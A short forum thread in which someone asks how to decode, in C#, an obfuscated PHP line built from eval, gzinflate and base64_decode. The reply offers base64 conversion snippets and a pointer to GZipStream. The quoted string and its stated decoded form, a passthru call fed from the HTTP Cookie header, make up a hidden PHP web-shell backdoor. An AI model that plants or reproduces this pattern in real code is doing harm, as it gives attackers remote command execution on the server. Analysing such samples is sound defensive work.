Help decoding base_64+GZipped string

Well, the string comes from php code:

Code:

eval(gzinflate(base64_decode('s7ezsS/IKFCodihILC4uySgq1UhPLUnNK9NQ8ggJCYh39vf39nRV0tS0rlWwB6oFAA==')));

But i want to decode it using c#... so i have to decode the string:

Code:

s7ezsS/IKFCodihILC4uySgq1UhPLUnNK9NQ8ggJCYh39vf39nRV0tS0rlWwB6oFAA==

It´s encoded with base64, decoding it is easy, the problem is that i tryed some codes that i find in google to decompress but no luck. To be honest i have no idea about how can i solve it... perhaps someone can help me.

I know that the result of decode that string should be something like:

Code:

 {@passthru(getenv("HTTP_COOKIE"));}

Thanks in advancce.

Code:

var String = System.Convert.ToBase64String(Data);
var Data = System.Convert.FromBase64String(String);

Data being a byte[]

As for gzip check out System.IO.Compression.GZipStream

Maybe this will help you.

http://www.csharphelp.com/archives4/archive689.html